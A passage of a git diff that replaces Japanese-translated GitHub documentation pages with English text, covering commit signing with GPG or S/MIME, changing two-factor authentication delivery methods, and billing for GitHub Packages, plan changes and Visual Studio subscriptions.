上で検証済みにするには、以下の手順に従ってください: +To sign commits using S/MIME and have those commits verified on {% data variables.product.product_name %}, follow these steps: -1. [Git へ署名キーを伝える](/articles/telling-git-about-your-signing-key) -2. [コミットに署名する](/articles/signing-commits) -3. [タグに署名する](/articles/signing-tags) +1. [Tell Git about your signing key](/articles/telling-git-about-your-signing-key) +2. [Sign commits](/articles/signing-commits) +3. [Sign tags](/articles/signing-tags) -公開鍵を {% data variables.product.product_name %}にアップロードする必要はありません。 +You don't need to upload your public key to {% data variables.product.product_name %}. {% ifversion fpt or ghec %} -## ボットの署名検証 +## Signature verification for bots -Organizations and {% data variables.product.prodname_github_apps %} that require commit signing can use bots to sign commits. コミットまたはタグが暗号的に検証可能なボット署名を持っている場合、{% data variables.product.product_name %} はそのコミットまたはタグを検証済みとしてマークします。 +Organizations and {% data variables.product.prodname_github_apps %} that require commit signing can use bots to sign commits. If a commit or tag has a bot signature that is cryptographically verifiable, {% data variables.product.product_name %} marks the commit or tag as verified. -ボットの署名検証は、要求が検証され {% data variables.product.prodname_github_app %} またはボットとして認証されており、カスタム作者情報、カスタムコミッター情報、およびコミットAPI などのカスタム署名情報が含まれていない場合にのみ機能します。 +Signature verification for bots will only work if the request is verified and authenticated as the {% data variables.product.prodname_github_app %} or bot and contains no custom author information, custom committer information, and no custom signature information, such as Commits API. {% endif %} -## 参考リンク +## Further reading -- 「[コミットに署名する](/articles/signing-commits)」 -- 「[タグに署名する](/articles/signing-tags)」 -- 「[コミット署名検証のトラブルシューティング](/articles/troubleshooting-commit-signature-verification)」 +- "[Signing commits](/articles/signing-commits)" +- "[Signing tags](/articles/signing-tags)" +- "[Troubleshooting commit signature verification](/articles/troubleshooting-commit-signature-verification)" diff --git a/translations/ja-JP/content/authentication/managing-commit-signature-verification/signing-commits.md b/translations/ja-JP/content/authentication/managing-commit-signature-verification/signing-commits.md index c931f7601d..ad03fae2b2 100644 --- a/translations/ja-JP/content/authentication/managing-commit-signature-verification/signing-commits.md +++ b/translations/ja-JP/content/authentication/managing-commit-signature-verification/signing-commits.md @@ -1,6 +1,6 @@ --- -title: コミットに署名する -intro: GPG または S/MIME を使用してローカルでコミットに署名できます。 +title: Signing commits +intro: You can sign commits locally using GPG or S/MIME. redirect_from: - /articles/signing-commits-and-tags-using-gpg/ - /articles/signing-commits-using-gpg/ @@ -16,45 +16,45 @@ topics: - Identity - Access management --- - {% data reusables.gpg.desktop-support-for-commit-signing %} {% tip %} -**参考:** +**Tips:** -Git バージョン 2.0.0 以降で、ローカルリポジトリでデフォルトでコミットに署名するために Git クライアントを設定するには、`git config commit.gpgsign true` を実行します。 コンピュータのローカルリポジトリでデフォルトですべてのコミットに署名するには、`git config --global commit.gpgsign true` を実行します。 +To configure your Git client to sign commits by default for a local repository, in Git versions 2.0.0 and above, run `git config commit.gpgsign true`. To sign all commits by default in any local repository on your computer, run `git config --global commit.gpgsign true`. -コミットに署名するたびに入力する必要をなくすために GPG キーパスフレーズを保管するには、次のツールの使用をおすすめします: - - Mac ユーザは、[GPG Suite](https://gpgtools.org/) により、Mac OS キーチェーンに GPG キーパスフレーズを保管できます。 - - Windows ユーザの場合、[Gpg4win](https://www.gpg4win.org/) が他の Windows ツールと統合します。 +To store your GPG key passphrase so you don't have to enter it every time you sign a commit, we recommend using the following tools: + - For Mac users, the [GPG Suite](https://gpgtools.org/) allows you to store your GPG key passphrase in the Mac OS Keychain. + - For Windows users, the [Gpg4win](https://www.gpg4win.org/) integrates with other Windows tools. -また、GPG キーパスフレーズを保管しておくために [gpg-agent](http://linux.die.net/man/1/gpg-agent) を手動で設定できます。ですが、ssh-agent のように Mac OS キーチェーンでは統合されず、さらにセットアップが必要です。 +You can also manually configure [gpg-agent](http://linux.die.net/man/1/gpg-agent) to save your GPG key passphrase, but this doesn't integrate with Mac OS Keychain like ssh-agent and requires more setup. {% endtip %} -複数のキーを持っている場合、または、コミッターのアイデンティティにマッチしないキーでコミットやタグに署名しようとする場合、[ サインインのキーを Git に伝える](/articles/telling-git-about-your-signing-key)必要があります。 +If you have multiple keys or are attempting to sign commits or tags with a key that doesn't match your committer identity, you should [tell Git about your signing key](/articles/telling-git-about-your-signing-key). -1. ローカルブランチに変更をコミットする場合、 -S フラグをGitコミットコマンドに追加します。 +1. When committing changes in your local branch, add the -S flag to the git commit command: ```shell - $ git commit -S -m your commit message - # 署名済みのコミットを作成する + $ git commit -S -m "your commit message" + # Creates a signed commit ``` -2. コミットの作成後にGPGを使っている場合、設定したパスフレーズをGPGキーを作成する時に提供します。 -3. ローカルでのコミット作成が完了したら、{% data variables.product.product_name %} 上のリモートリポジトリにプッシュします。 +2. If you're using GPG, after you create your commit, provide the passphrase you set up when you [generated your GPG key](/articles/generating-a-new-gpg-key). +3. When you've finished creating commits locally, push them to your remote repository on {% data variables.product.product_name %}: ```shell $ git push - # ローカルコミットをリモートリポジトリにプッシュする + # Pushes your local commits to the remote repository ``` -4. {% data variables.product.product_name %}上で、プルリクエストに移動します。 +4. On {% data variables.product.product_name %}, navigate to your pull request. {% data reusables.repositories.review-pr-commits %} -5. ベリファイされた署名の詳しい情報を見るには、Verifiedをクリックします。 ![署名されたコミット](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png) +5. To view more detailed information about the verified signature, click Verified. +![Signed commit](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png) -## 参考リンク +## Further reading -* [既存の GPG キーのチェック](/articles/checking-for-existing-gpg-keys) -* [新しい GPG キーの生成](/articles/generating-a-new-gpg-key) -* [GitHub アカウントへの新しい GPG キーの追加](/articles/adding-a-new-gpg-key-to-your-github-account) -* 「[Git へ署名キーを伝える](/articles/telling-git-about-your-signing-key)」 -* [GPG キーとメールの関連付け](/articles/associating-an-email-with-your-gpg-key) -* 「[タグに署名する](/articles/signing-tags)」 +* "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)" +* "[Generating a new GPG key](/articles/generating-a-new-gpg-key)" +* "[Adding a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account)" +* "[Telling Git about your signing key](/articles/telling-git-about-your-signing-key)" +* "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)" +* "[Signing tags](/articles/signing-tags)" diff --git a/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md b/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md index eb93c67bbc..8b8e9e7073 100644 --- a/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md +++ b/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md @@ -1,6 +1,6 @@ --- -title: モバイルデバイスに対する 2 要素認証配信方法の変更 -intro: 認証コードの受信方法を、テキストメッセージとモバイルアプリケーションとの間で切り替えることができます。 +title: Changing two-factor authentication delivery methods for your mobile device +intro: You can switch between receiving authentication codes through a text message or a mobile application. redirect_from: - /articles/changing-two-factor-authentication-delivery-methods/ - /articles/changing-two-factor-authentication-delivery-methods-for-your-mobile-device @@ -13,22 +13,23 @@ topics: - 2FA shortTitle: Change 2FA delivery method --- - {% note %} -**メモ:** 2 要素認証の方法を変更すると、それまでの 2 要素認証の設定が無効になります。 ただし、これはリカバリコードやフォールバック SMS 設定には影響しません。 必要な場合、個人アカウントのセキュリティ設定ページで、リカバリコードやフォールバック SMS 設定を更新できます。 +**Note:** Changing your primary method for two-factor authentication invalidates your current two-factor authentication setup, including your recovery codes. Keep your new set of recovery codes safe. Changing your primary method for two-factor authentication does not affect your fallback SMS configuration, if configured. For more information, see "[Configuring two-factor authentication recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#setting-a-fallback-authentication-number)." {% endnote %} {% data reusables.user_settings.access_settings %} {% data reusables.user_settings.security %} -3. [SMS delivery] の隣にある [**Edit**] をクリックします。 ![SMS 配信オプションの編集](/assets/images/help/2fa/edit-sms-delivery-option.png) -4. [Delivery options] の下にある [**Reconfigure two-factor authentication**] をクリックします。 ![2FA 配信オプションの切り替え](/assets/images/help/2fa/2fa-switching-methods.png) -5. 2 要素認証を TOTP モバイルアプリケーションで設定するかテキストメッセージで設定するかを決めます。 詳しい情報については「[2 要素認証の設定](/articles/configuring-two-factor-authentication)」を参照してください。 - - TOTP モバイルアプリケーションで 2 要素認証を設定するには、[**Set up using an app**] をクリックします。 - - テキストメッセージ (SMS) で 2 要素認証を設定するには、[**Set up using SMS**] をクリックします。 +3. Next to "SMS delivery", click **Edit**. + ![Edit SMS delivery options](/assets/images/help/2fa/edit-sms-delivery-option.png) +4. Under "Delivery options", click **Reconfigure two-factor authentication**. + ![Switching your 2FA delivery options](/assets/images/help/2fa/2fa-switching-methods.png) +5. Decide whether to set up two-factor authentication using a TOTP mobile app or text message. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)." + - To set up two-factor authentication using a TOTP mobile app, click **Set up using an app**. + - To set up two-factor authentication using text message (SMS), click **Set up using SMS**. -## 参考リンク +## Further reading -- [2 要素認証について](/articles/about-two-factor-authentication) -- [2 要素認証のリカバリ方法の設定](/articles/configuring-two-factor-authentication-recovery-methods) +- "[About two-factor authentication](/articles/about-two-factor-authentication)" +- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)" diff --git a/translations/ja-JP/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md b/translations/ja-JP/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md index f9b44bbf28..3cba501e37 100644 --- a/translations/ja-JP/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md +++ b/translations/ja-JP/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md @@ -1,6 +1,6 @@ --- -title: GitHubパッケージの支払いについて -intro: 'アカウントに含まれるストレージやデータ転送を超えて{% data variables.product.prodname_registry %}を使用したい場合は、追加の使用分が請求されます。' +title: About billing for GitHub Packages +intro: 'If you want to use {% data variables.product.prodname_registry %} beyond the storage or data transfer included in your account, you will be billed for additional usage.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-packages @@ -12,67 +12,66 @@ type: overview topics: - Packages - Spending limits -shortTitle: 支払いについて +shortTitle: About billing --- - -## {% data variables.product.prodname_registry %}の支払いについて +## About billing for {% data variables.product.prodname_registry %} {% data reusables.package_registry.packages-billing %} -{% data reusables.package_registry.packages-spending-limit-brief %} 詳しい情報については、「[利用上限について](#about-spending-limits)」を参照してください。 +{% data reusables.package_registry.packages-spending-limit-brief %} For more information, see "[About spending limits](#about-spending-limits)." {% note %} -**コンテナイメージのストレージに対する支払いの更新:** {% data variables.product.prodname_container_registry %}に対するコンテナイメージストレージと帯域幅の無料使用期間は延長されました。 {% data variables.product.prodname_container_registry %}を使用しているなら、少なくても支払い開始の1ヶ月前に通知され、支払いの予想金額の推定が示されます。 {% data variables.product.prodname_container_registry %}に関する詳しい情報については「[コンテナレジストリの利用](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)」を参照してください。 +**Billing update for container image storage:** The period of free use for container image storage and bandwidth for the {% data variables.product.prodname_container_registry %} has been extended. If you are using {% data variables.product.prodname_container_registry %} you'll be informed at least one month in advance of billing commencing and you'll be given an estimate of how much you should expect to pay. For more information about the {% data variables.product.prodname_container_registry %}, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." {% endnote %} {% ifversion ghec %} -Microsoft Enterprise Agreement を通じて {% data variables.product.prodname_enterprise %} を購入した場合、Azure サブスクリプション ID を Enterprise アカウントに接続して、アカウントを含む金額を超える {% data variables.product.prodname_registry %} の使用を有効にして支払うことができます。 詳しい情報については、「[Azure サブスクリプションを Enterprise に接続する](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)」を参照してください。 +If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_registry %} usage beyond the amounts including with your account. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)." {% endif %} -データ転送は毎月リセットされますが、ストレージはリセットされません。 +Data transfer resets every month, while storage usage does not. -| 製品 | ストレージ | データ転送 (月あたり) | -| ---------------------------------------------------------------- | ----- | ------------ | -| {% data variables.product.prodname_free_user %} | 500MB | 1GB | -| {% data variables.product.prodname_pro %} | 2GB | 10GB | -| Organization の {% data variables.product.prodname_free_team %} | 500MB | 1GB | -| {% data variables.product.prodname_team %} | 2GB | 10GB | -| {% data variables.product.prodname_ghe_cloud %} | 50GB | 100GB | +Product | Storage | Data transfer (per month) +------- | ------- | --------- +{% data variables.product.prodname_free_user %} | 500MB | 1GB +{% data variables.product.prodname_pro %} | 2GB | 10GB +{% data variables.product.prodname_free_team %} for organizations | 500MB | 1GB | +{% data variables.product.prodname_team %} | 2GB | 10GB +{% data variables.product.prodname_ghe_cloud %} | 50GB | 100GB -{% data variables.product.prodname_actions %}によってトリガーされる送信時のデータ転送と、ソースを問わず着信時のデータ転送は無料です。 `GITHUB_TOKEN`を使用して{% data variables.product.prodname_registry %}にログインしているときは、{% data variables.product.prodname_actions %}を使用してパッケージをダウンロードしていると想定します。 +All data transferred out, when triggered by {% data variables.product.prodname_actions %}, and data transferred in from any source is free. We determine you are downloading packages using {% data variables.product.prodname_actions %} when you log in to {% data variables.product.prodname_registry %} using a `GITHUB_TOKEN`. -| | ホスト利用 | セルフホスト | -| ----------------------- | ----- | ------ | -| `GITHUB_TOKEN`を使用するアクセス | 無料 | 無料 | -| パーソナルアクセストークンを使用するアクセス | 無料 | $ | +||Hosted|Self-Hosted| +|-|-|-| +|Access using a `GITHUB_TOKEN`|Free|Free| +|Access using a personal access token|Free|$| -ストレージの使用量は、ユーザ自身のアカウントで所有されているリポジトリの{% data variables.product.prodname_actions %}によって生成されるビルドアーチファクトと共有されます。 詳しい情報については、「[{% data variables.product.prodname_actions %}の支払いについて](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)」を参照してください。 +Storage usage is shared with build artifacts produced by {% data variables.product.prodname_actions %} for repositories owned by your account. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." -{% data variables.product.prodname_dotcom %}は、パッケージが公開されているリポジトリを所有するアカウントの利用状況に課金をします。 If your account's usage surpasses these limits and you have set a spending limit above $0 USD, you will pay $0.25 USD per GB of storage and $0.50 USD per GB of data transfer. +{% data variables.product.prodname_dotcom %} charges usage to the account that owns the repository where the package is published. If your account's usage surpasses these limits and you have set a spending limit above $0 USD, you will pay $0.25 USD per GB of storage and $0.50 USD per GB of data transfer. -たとえば、Organizationが{% data variables.product.prodname_team %}を使用し、無制限の利用を許可しており、1か月あたりのストレージ使用量が150 GB、データ転送が50GBだった場合、そのOrganizationの当月の超過分はストレージが148GB、データ転送が40GBということです。 The storage overage would cost $0.25 USD per GB or $37 USD. The overage for data transfer would cost $0.50 USD per GB or $20 USD. {% data reusables.dotcom_billing.pricing_cal %} +For example, if your organization uses {% data variables.product.prodname_team %}, allows unlimited spending, uses 150GB of storage, and has 50GB of data transfer out during a month, the organization would have overages of 148GB for storage and 40GB for data transfer for that month. The storage overage would cost $0.25 USD per GB or $37 USD. The overage for data transfer would cost $0.50 USD per GB or $20 USD. {% data reusables.dotcom_billing.pricing_cal %} -月末に、{% data variables.product.prodname_dotcom %}はデータ転送を最も近いGBに丸めます。 +At the end of the month, {% data variables.product.prodname_dotcom %} rounds your data transfer to the nearest GB. -{% data variables.product.prodname_dotcom %}は、毎月の利用状況をその月の時間の利用状況に基づいて計算します。 たとえば、3月の10日間にストレージを3 GB使用し、3月の21日間に12GBを使用した場合、ストレージの利用状況は次のようになります。 +{% data variables.product.prodname_dotcom %} calculates your storage usage for each month based on hourly usage during that month. For example, if you use 3 GB of storage for 10 days of March and 12 GB for 21 days of March, your storage usage would be: -- 3 GB x 10日 x (1日24 時間) = 720 GB時間 -- 12 GB x 21日 x (1日24 時間) = 6,048 GB時間 -- 720 GB時間 + 6,048 GB時間 = 6,768 GB時間 -- 6,768 GB時間 / (月あたり744時間) = 9.0967 GB月 +- 3 GB x 10 days x (24 hours per day) = 720 GB-Hours +- 12 GB x 21 days x (24 hours per day) = 6,048 GB-Hours +- 720 GB-Hours + 6,048 GB-Hours = 6,768 GB-Hours +- 6,768 GB-Hours / (744 hours per month) = 9.0967 GB-Months -月末に、{% data variables.product.prodname_dotcom %}はストレージ使用量を最も近いGBに丸めます。 したがって、この3月のストレージ使用量は9.097 GBになります。 +At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. Therefore, your storage usage for March would be 9.097 GB. -あなたの{% data variables.product.prodname_registry %} 利用状況は、アカウントの既存の請求日、支払い方法、領収書を共有します。 {% data reusables.dotcom_billing.view-all-subscriptions %} +Your {% data variables.product.prodname_registry %} usage shares your account's existing billing date, payment method, and receipt. {% data reusables.dotcom_billing.view-all-subscriptions %} {% data reusables.user_settings.context_switcher %} -## 利用上限について +## About spending limits {% data reusables.package_registry.packages-spending-limit-detailed %} -アカウントの利用上限の管理と変更については、「[{% data variables.product.prodname_registry %} の利用上限の管理](/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages)」を参照してください。 +For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages)." {% data reusables.dotcom_billing.actions-packages-unpaid-account %} diff --git a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process.md b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process.md index 0561442e62..3f18df1fd2 100644 --- a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process.md +++ b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process.md @@ -1,6 +1,6 @@ --- -title: アップグレードやダウングレードは支払い処理にどのように影響しますか? -intro: 個人アカウントまたは Organization のプランをアップグレードした場合、すぐに変更が適用されます。 プランをダウングレードした場合、現在の支払いサイクルの終了時に変更が適用されます。 +title: How does upgrading or downgrading affect the billing process? +intro: 'When you upgrade the subscription for your personal account or organization, changes are applied immediately. When you downgrade your subscription, changes are applied at the end of your current billing cycle.' redirect_from: - /github/setting-up-and-managing-billing-and-payments-on-github/how-does-upgrading-or-downgrading-affect-the-billing-process - /articles/how-does-upgrading-or-downgrading-affect-the-billing-process @@ -14,32 +14,31 @@ topics: - Organizations - Upgrades - User account -shortTitle: 支払いのプロセス +shortTitle: Billing process --- +Changes to your paid user account or organization subscription does not affect subscriptions or payments for other paid {% data variables.product.prodname_dotcom %} features, such as {% data variables.large_files.product_name_long %} or paid apps purchased in {% data variables.product.prodname_marketplace %}. -有料ユーザアカウントまたは Organization のプランを変更しても、{% data variables.large_files.product_name_long %} など他の有料 {% data variables.product.prodname_dotcom %} 機能や、{% data variables.product.prodname_marketplace %} で購入した有料アプリケーションには影響しません。 +For more information, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)" and "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)." -詳細は「[{% data variables.product.prodname_dotcom %} の製品](/articles/github-s-products)」および「[{% data variables.product.prodname_dotcom %} の支払いについて](/articles/about-billing-on-github)」を参照してください。 +## Example of canceling a paid subscription for a personal account or organization -## 個人アカウントまたは Organization の有償プランのキャンセル例 +Kumiko pays for a monthly subscription on the 5th of every month. If Kumiko downgrades from the paid subscription to {% data variables.product.prodname_free_user %} on October 10th, her paid subscription will remain in effect until the end of her current billing cycle on November 4th. On November 5th, her account will move to {% data variables.product.prodname_free_user %}. -久美子さんは、毎月 5 日に月次プランの支払いを行っています。 久美子さんが 10 月 10 日に有料プランから {% data variables.product.prodname_free_user %} にダウングレードした場合、有料プランは現在の支払いサイクルが終了する 11 月 4 日までは有効のままになります。 11 月 5 日に、久美子さんのアカウントは {% data variables.product.prodname_free_user %} に移行します。 +## Example of changing from a yearly to a monthly subscription for a personal account or organization -## 個人アカウントまたは Organization の年次プランから月次プランへの変更例 +Ravi pays for a yearly subscription on October 5th every year. If Ravi switches from a yearly to monthly billing on December 10th, his account remains on the yearly subscription until the end of its current billing cycle on October 4th the next year. On October 5th of the next year, Ravi will be charged for a month of service. His next billing date will be November 5th. -ラビさんは、毎年 10 月 5 日に年次プランの支払いを行っています。 ラビさんが 10 月 10 日に年次支払いから月次支払いに切り替えた場合、彼のアカウントは現在の支払いサイクルが終了する来年の 10 月 4 日までは年次プランのままになります。 来年の 10 月 5 日をもって、月次サービスとして請求されるようになります。 彼の次の支払日は 11 月 5 日になります。 +## Example of adding paid seats to your organization -## 有料シートの Organization への追加例 +Mada's organization pays for 25 seats on the 15th of every month. If Mada adds ten paid seats on June 4th, her organization is immediately charged a prorated amount for ten additional seats for the time between June 4th and June 14th, and the seats are available to use immediately. On June 15th, Mada's organization will pay for 35 seats. -マダさんの Organization は、毎月 15 日に 25 シート分の支払いを行っています。 マダさんが 10 個の有料シートを 6 月 4 日に追加した場合、彼女の Organization は 6 月 4 ～ 14 日に対して追加のシートの按分額がすぐに請求され、該当のシートをすぐに利用できるようになります。 マダさんの Organization は 6 月 15 日に 35 シート分の支払いを行うことになります。 +## Example of removing paid seats from your organization -## 有料シートの Organization からの削除例 +Stefan's organization pays for 50 seats every year on May 20th. If Stefan removes 20 seats and downgrades to a new total of 30 paid seats on September 30, his organization can still access its 50 paid seats until the end of its current billing cycle on May 19th. On May 20th, the downgrade will take effect - Stefan's organization will pay for 30 seats and will have access to 30 paid seats. -ステファンさんの Organization は毎年 5 月 20 日に 50 シート分の支払いを行っています。 ステファンさんが 9 月 30 日に 20 シートを削除し、合計で 30 シートに減らした場合、彼の Organization は現在の支払いサイクルが終了する 5 月 19 日までは 50 の有料シートにアクセスすることができます。 ダウングレード (シートの削除) は、5 月 20 日をもって有効になります。つまり、ステファンさんの Organization は 30 シート分のみに対して支払いを行い、30 の有料シートにアクセスできます。 +## Further reading -## 参考リンク - -- 「[{% data variables.product.prodname_dotcom %} アカウントの支払いを管理する](/articles/managing-billing-for-your-github-account)」 -- [{% data variables.product.prodname_marketplace %} アプリの支払いを管理する](/articles/managing-billing-for-github-marketplace-apps) -- 「[{% data variables.large_files.product_name_long %} の支払いを管理する](/articles/managing-billing-for-git-large-file-storage)」 -- [ユーザごとの価格付けについて](/articles/about-per-user-pricing) +- "[Managing billing for your {% data variables.product.prodname_dotcom %} account](/articles/managing-billing-for-your-github-account)" +- "[Managing billing for {% data variables.product.prodname_marketplace %} apps](/articles/managing-billing-for-github-marketplace-apps)" +- "[Managing billing for {% data variables.large_files.product_name_long %}](/articles/managing-billing-for-git-large-file-storage)" +- "[About per-user pricing](/articles/about-per-user-pricing)" diff --git a/translations/ja-JP/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md b/translations/ja-JP/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md index 959da634e6..86724905ed 100644 --- a/translations/ja-JP/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md +++ b/translations/ja-JP/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md @@ -16,36 +16,36 @@ type: overview topics: - Enterprise - Licensing -shortTitle: GitHubについて +shortTitle: About --- -## {% data variables.product.prodname_vss_ghe %} について +## About {% data variables.product.prodname_vss_ghe %} -{% data reusables.enterprise-accounts.vss-ghe-description %} {% data variables.product.prodname_vss_ghe %} is available from Microsoft under the terms of the Microsoft Enterprise Agreement. 詳しい情報については、「{% data variables.product.prodname_vs %} Web サイトの [{% data variables.product.prodname_vss_ghe %}](https://visualstudio.microsoft.com/subscriptions/visual-studio-github/)」を参照してください。 +{% data reusables.enterprise-accounts.vss-ghe-description %} {% data variables.product.prodname_vss_ghe %} is available from Microsoft under the terms of the Microsoft Enterprise Agreement. For more information, see [{% data variables.product.prodname_vss_ghe %}](https://visualstudio.microsoft.com/subscriptions/visual-studio-github/) on the {% data variables.product.prodname_vs %} website. -To use the {% data variables.product.prodname_enterprise %} portion of the license, each subscriber's user account on {% data variables.product.prodname_dotcom_the_website %} must be or become a member of an organization owned by your enterprise on {% data variables.product.prodname_dotcom_the_website %}. To accomplish this, organization owners can invite new members to an organization by email address. サブスクライバーは、{% data variables.product.prodname_dotcom_the_website %} の既存のユーザ アカウントで招待を受け入れるか、新しいアカウントを作成できます。 +To use the {% data variables.product.prodname_enterprise %} portion of the license, each subscriber's user account on {% data variables.product.prodname_dotcom_the_website %} must be or become a member of an organization owned by your enterprise on {% data variables.product.prodname_dotcom_the_website %}. To accomplish this, organization owners can invite new members to an organization by email address. The subscriber can accept the invitation with an existing user account on {% data variables.product.prodname_dotcom_the_website %} or create a new account. For more information about the setup of {% data variables.product.prodname_vss_ghe %}, see "[Setting up {% data variables.product.prodname_vss_ghe %}](/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise)." ## About licenses for {% data variables.product.prodname_vss_ghe %} -After you assign a license for {% data variables.product.prodname_vss_ghe %} to a subscriber, the subscriber will use the {% data variables.product.prodname_enterprise %} portion of the license by joining an organization in your enterprise with a user account on {% data variables.product.prodname_dotcom_the_website %}. {% data variables.product.prodname_dotcom_the_website %} の Enterprise メンバーのユーザアカウントのメールアドレスが {% data variables.product.prodname_vs %} アカウントのサブスクライバーのユーザプライマリ名 (UPN) と一致する場合、{% data variables.product.prodname_vs %} サブスクライバーは自動的に {% data variables.product.prodname_vss_ghe %} のライセンスを 1 つ消費します。 +After you assign a license for {% data variables.product.prodname_vss_ghe %} to a subscriber, the subscriber will use the {% data variables.product.prodname_enterprise %} portion of the license by joining an organization in your enterprise with a user account on {% data variables.product.prodname_dotcom_the_website %}. If the email address for the user account of an enterprise member on {% data variables.product.prodname_dotcom_the_website %} matches the User Primary Name (UPN) for a subscriber to your {% data variables.product.prodname_vs %} account, the {% data variables.product.prodname_vs %} subscriber will automatically consume one license for {% data variables.product.prodname_vss_ghe %}. -{% data variables.product.prodname_dotcom %} での Enterprise のライセンスの合計数は、標準の {% data variables.product.prodname_enterprise %} ライセンスと {% data variables.product.prodname_dotcom %} へのアクセスを含む {% data variables.product.prodname_vs %} サブスクリプションライセンス数の合計です。 Enterprise メンバーのユーザーアカウントが {% data variables.product.prodname_vs %} サブスクライバーのメールアドレスと一致しない場合、ユーザアカウントが消費するライセンスは {% data variables.product.prodname_vs %} サブスクライバーには使用できません。 +The total quantity of your licenses for your enterprise on {% data variables.product.prodname_dotcom %} is the sum of any standard {% data variables.product.prodname_enterprise %} licenses and the number of {% data variables.product.prodname_vs %} subscription licenses that include access to {% data variables.product.prodname_dotcom %}. If the user account for an enterprise member does not correspond with the email address for a {% data variables.product.prodname_vs %} subscriber, the license that the user account consumes is unavailable for a {% data variables.product.prodname_vs %} subscriber. -{% data variables.product.prodname_enterprise %} の詳細は、「[{% data variables.product.company_short %} の製品](/github/getting-started-with-github/githubs-products#github-enterprise)」を参照してください。 {% data variables.product.prodname_dotcom_the_website %} のアカウントの詳細については、「[{% data variables.product.prodname_dotcom %} アカウントのタイプ](/github/getting-started-with-github/types-of-github-accounts)」を参照してください。 +For more information about {% data variables.product.prodname_enterprise %}, see "[{% data variables.product.company_short %}'s products](/github/getting-started-with-github/githubs-products#github-enterprise)." For more information about accounts on {% data variables.product.prodname_dotcom_the_website %}, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/github/getting-started-with-github/types-of-github-accounts)." You can view the number of {% data variables.product.prodname_enterprise %} licenses available to your enterprise on {% data variables.product.product_location %}. The list of pending invitations includes subscribers who are not yet members of at least one organization in your enterprise. For more information, see "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" and "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-members-and-outside-collaborators)." {% tip %} -**Tip**: If you download a CSV file with your enterprise's license usage in step 6 of "[Viewing the subscription and usage for your enterprise account](https://docs-internal-19656--vss-ghe-s.herokuapp.com/en/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account#viewing-the-subscription-and-usage-for-your-enterprise-account)," any members with a missing value for the "Name" or "Profile" columns have not yet accepted an invitation to join an organization within the enterprise. +**Tip**: If you download a CSV file with your enterprise's license usage in step 6 of "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account#viewing-the-subscription-and-usage-for-your-enterprise-account)," any members with a missing value for the "Name" or "Profile" columns have not yet accepted an invitation to join an organization within the enterprise. {% endtip %} -{% data variables.product.prodname_vss_admin_portal_with_url %} のサブスクライバーへの保留中の {% data variables.product.prodname_enterprise %} 招待を確認することもできます。 +You can also see pending {% data variables.product.prodname_enterprise %} invitations to subscribers in {% data variables.product.prodname_vss_admin_portal_with_url %}. -## 参考リンク +## Further reading - [{% data variables.product.prodname_vs %} 